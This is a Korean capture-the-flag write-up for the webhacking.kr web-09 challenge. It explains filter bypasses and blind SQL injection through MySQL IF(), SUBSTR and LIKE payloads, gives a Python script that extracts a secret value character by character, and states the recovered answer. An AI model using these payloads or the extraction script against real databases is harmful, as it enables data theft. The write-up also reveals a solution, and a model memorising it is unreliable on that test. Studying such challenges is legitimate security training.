문제 페이지에 접속하면 다음과 같은 화면이 뜬다.

위에보이는 1, 2, 3을 각각 클릭하고 결과를 보자.
1 클릭

2 클릭

3 클릭

- 조회되는 컬럼은 id와 no 컬럼이다.
- URL의 no파라미터로 1, 2, 3을 입력하면 거기에 해당하는 id가 나오는 형식이다.
- no=3인 행의 id는 password이며, 이 값은 Secret 값이다.
이 no 부분에 어떻게 해야 no가 나오는지 보자.
여러 시도 결과 필자가 알아낸 필터링되는 문자열들은 이렇게 된다.
select
/
*
공백
limit
from
일단 필자가 알아낸 것은 이 정도다.
그럼 여기서 no=3인 행의 id는 다음의 두 단계를 걸쳐 찾기를 목표로 한다.
- no=3인 행의 id값의 길이 추출
- no=3인 행의 id값 추출
1. id값 길이 추출
다음의 Payload를 활용했다.
IF(SUBSTR(id,{},1)LIKE({}),3,0)
문제의 서버 내부의 쿼리가 다음의 형태라고 가정해보자.
SELECT *
FROM [테이블명]
WHERE NO = [사용자 입력값]
NO ID
| 1 | apple |
| 2 | banana |
| 3 | [FLAG 값] |
일반적으로 사용자가 1을 입력하면 쿼리는 다음처럼 실행된다.
SELECT * FROM [테이블명] WHERE NO = 1
그러면 NO = 1인 행이 조회 될 것이다.
2. 사용자 입력에 IF()를 넣는 경우
사용자 입력값에 다음과 같은 값을 넣는다고 하자.
IF(LENGTH(id)IN(5),1,0)
그러면 실제 쿼리는 다음처럼 된다.
SELECT * FROM [테이블명] WHERE NO=IF(LENGTH(id)IN(5),1,0)
여기서 중요한 점은 IF()가 단독으로 출력되는 것이 아니라는 점이다.
즉, 이것은 아래처럼 실행되는 것이 아니다.
SELECT IF(LENGTH(id) IN (5), 1, 0)
FROM [테이블명]
실제 구조는 다음이다.
WHERE NO = IF(...)
따라서 IF()의 반환 값은 화면에 직접 출력되는 값이 아니라, NO와 비교되는 값으로 사용된다.
MySQL IF() 함수의 의미
MySQL의 IF() 함수는 다음 구조를 가진다.
IF(조건, 참일 때 반환값, 거짓일 때 반환값)
예를 들어:
IF(1=1, 1, 0)
결과는 1이다.
IF(1=2, 1, 0)
결과는 0이다.
따라서 다음 구문은:
IF(LENGTH(id)IN(5),1,0)
- 현재 행의 id 길이가 5이면 1을 반환하고, 아니면 0을 반환
필자가 헷갈렸던 부분
예를 들어 테이블이 다음과 같다고 하자(문제의 테이블과는 다르다).
NO ID LENGTH(ID)
| 1 | apple | 5 |
| 2 | guest | 5 |
| 3 | root | 4 |
이때 IF(LENGTH(id) IN (5), 1, 0)만 보면 1행과 2행 모두 결과가 1이다.
그래서 필자는 2행의 id도 길이가 5이므로, 2행을 조회할 때도 WHERE NO=1 일 때 쿼리 결과가 나와야 된다고 생각했다.
하지만 실제 쿼리는 다음 구조다.
WHERE NO = IF(LENGTH(id) IN (5), 1, 0)
즉, 최종적으로는 각 행마다 다음 비교가 추가로 발생한다 : 현재 행의 NO = IF()의 반환값
행 단위 평가 과정
입력값:
IF(LENGTH(id) IN (5), 1, 0)
⇒ 전체 쿼리:
SELECT *
FROM [테이블명]
WHERE NO = IF(LENGTH(id) IN (5), 1, 0)
각 행별 평가 결과
NO ID LENGTH(ID) IF 결과 최종 비교 출력 여부
| 1 | admin | 5 | 1 | 1 = 1 | 출력 |
| 2 | guest | 5 | 1 | 2 = 1 | 미출력 |
| 3 | root | 4 | 0 | 3 = 0 | 미출력 |
2행의 ID 길이도 5이므로 IF() 결과는 1이다.
하지만 2행의 NO는 2다.
따라서 최종 조건은 다음처럼 된다.
- 2=1
이 조건은 거짓이므로 2행은 출력 되지 않는다.
Payload를 다시 보면
IF(LENGTH(id)LIKE({}),3,0)
쿼리 구조
SELECT * FROM [테이블명] WHERE NO = IF(LENGTH(id)LIKE({}),3,0)
여기서 {} 자리에 들어가는 값은 조건이 참일 때 반환할 NO 값이다.
IF문이 각 행을 돌면서 id값의 길이를 하나씩 재보다가, 3번째 행의 값이 {}에 있는 값과 같으면 그때 3을 반환한다. 그러면 다음과 같은 쿼리가 비로소 돌아가는 것이다.
SELECT * FROM [테이블명] WHERE NO = 3
이 Payload를 기반으로 no=3인 행의 id 길이를 추출하는 Python Script는 다음과 같다.
import requests
import string
TARGET = "<https://webhacking.kr/challenge/web-09/index.php?no=>"
SUCCESS_INDICATOR = "Secret"
def check_condition(data):
url = TARGET + data
try:
r = requests.get(url)
return SUCCESS_INDICATOR in r.text
except requests.exceptions.RequestException as e:
print(f"Request failed: {e}")
return
def find_password_length():
found = False
for i in range(1, 15):
data = "IF(LENGTH(id)LIKE({}),3,0)".format(i)
if check_condition(data):
print(f"ID Length : {i}")
found = True
break
if not found:
print(f"[-] Could not find db_length")
find_password_length()
⇒ 길이 : 11
id값 추출
Payload
IF(SUBSTR(id,{인덱스 값},1)LIKE({아스키코드 변환값}),3,0)
쿼리 구조
SELECT *
FROM [테이블명]
WHERE NO = IF(SUBSTR(id,{인덱스 값},1)LIKE({아스키코드 변환값}),3,0)
- IF문 안에서 no=3인 id값에서 SUBSTR 함수의 {인덱스 값}의 길이가 {아스키코드 변환 값}에 해당하는 값 탐색
- 결과가 참이면 SELECT 문에서 쿼리 결과 반환
Python Script
def find_password():
password = ""
i = 1
for i in range(1, 12):
found = False
for chnum in string.printable:
data = "IF(SUBSTR(id,{},1)LIKE({}),3,0)".format(i, hex(ord(chnum)))
if check_condition(data):
password += chnum
print(f"[+] Found char {i}: chnum) -> {password}")
found = True
break
if not found:
print(f"[-] Could not find character at position {i}")
break
i = i + 1
print(f"\\n[✔] Database name: {password}")
return None
find_password()
⇒ password 깂 : alsrkswhaql

전체 Script
import requests
import string
TARGET = "<https://webhacking.kr/challenge/web-09/index.php?no=>"
SUCCESS_INDICATOR = "Secret"
def check_condition(data):
url = TARGET + data
try:
r = requests.get(url)
return SUCCESS_INDICATOR in r.text
except requests.exceptions.RequestException as e:
print(f"Request failed: {e}")
return
def find_password_length():
found = False
for i in range(1, 15):
data = "IF(LENGTH(id)LIKE({}),3,0)".format(i)
if check_condition(data):
print(f"ID Length : {i}")
found = True
break
if not found:
print(f"[-] Could not find db_length")
find_password_length()
def find_password():
password = ""
i = 1
for i in range(1, 12):
found = False
for chnum in string.printable:
data = "IF(SUBSTR(id,{},1)LIKE({}),3,0)".format(i, hex(ord(chnum)))
if check_condition(data):
password += chnum
print(f"[+] Found char {i}: chnum) -> {password}")
found = True
break
if not found:
print(f"[-] Could not find character at position {i}")
break
i = i + 1
print(f"\\n[✔] Database name: {password}")
return None
find_password()
비밀번호 입력

⇒
